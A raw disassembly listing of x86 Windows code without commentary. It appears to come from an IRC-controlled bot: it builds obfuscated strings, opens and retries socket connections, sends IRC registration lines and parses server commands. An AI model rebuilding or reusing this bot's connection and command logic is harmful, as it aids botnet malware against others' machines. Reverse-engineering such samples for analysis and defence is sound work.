		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F45F:				; CODE XREF: ___:0040F35Bj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F501
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F4DA
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_40F4DA:				; CODE XREF: ___:0040F4A5j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F501:				; CODE XREF: ___:0040F474j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F670	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F20
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		call	near ptr 2820861h
		nop
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470AC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_4470B0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_4470B4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_4470B8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_4470BC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_4470C0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_4470C4
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_4470C8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_4470CC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_4470D0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_4470D4
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_4470D8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_4470DC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_4470E0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_4470E4
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_4470E8
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_4470EC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_4470F0
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDE0	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FDE0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FDF8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FDF8:				; CODE XREF: ___:0040FDEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE10	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FE10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FFD0	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_439673
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_4368D0
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_4113A0


loc_410012:				; CODE XREF: sub_40FFD0+13CAj
		mov	al, byte_4E6E34
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_4113A0
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41003A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_410044
		cmp	eax, ebx
		jz	loc_41017E


loc_41003A:				; CODE XREF: sub_40FFD0+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41017E


loc_410044:				; CODE XREF: sub_40FFD0+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_410059
		push	eax
		nop
		call	near ptr 71AB9639h


loc_410059:				; CODE XREF: sub_40FFD0+80j
		mov	ecx, offset word_448C4E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410089
		mov	[ebp+20h], ebx


loc_410089:				; CODE XREF: sub_40FFD0+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4473DD
		mov	ecx, offset word_448CC6
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448CC6
		add	eax, 1B6h
		push	eax
		push	offset dword_447394
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448CC6
		push	edx
		push	offset dword_447270
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447302
		mov	ecx, offset word_448CC6
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448CC6
		add	eax, 0DBh
		push	eax
		push	offset byte_4472B9
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448CC6
		add	edx, 92h
		push	edx
		push	offset byte_44734B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44746F
		mov	ecx, offset word_448CC6
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41017E:				; CODE XREF: sub_40FFD0+64j
					; sub_40FFD0+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_4101A8
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		call	near ptr 2870000h
		nop
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_4101A8:				; CODE XREF: sub_40FFD0+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410338
		mov	ax, word_44731C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4472B9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410228
		push	2710h
		call	near ptr 2870000h
		nop
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410228:				; CODE XREF: sub_40FFD0+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_63125E
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F20
		mov	ecx, offset byte_44734B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4102F7
		mov	ecx, offset byte_44734B
		call	sub_4017E4
		mov	edx, dword_4470CC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_4102F7:				; CODE XREF: sub_40FFD0+305j
		mov	ecx, offset byte_4E6E35
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E35
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470D4
		push	eax
		mov	ecx, offset byte_4E6E35
		call	sub_4017E4
		mov	ecx, dword_4470D0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410338:				; CODE XREF: sub_40FFD0+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411390
		call	near ptr 2820861h
		nop
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470D8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410410
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_447394
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410414


loc_410410:				; CODE XREF: sub_40FFD0+3EAj
		mov	[esp+20h+var_D], bl


loc_410414:				; CODE XREF: sub_40FFD0+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410436
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411397
; ---------------------------------------------------------------------------


loc_410436:				; CODE XREF: sub_40FFD0+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470AC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_4104D4
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470C8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410602
; ---------------------------------------------------------------------------


loc_4104D4:				; CODE XREF: sub_40FFD0+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_4470B0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
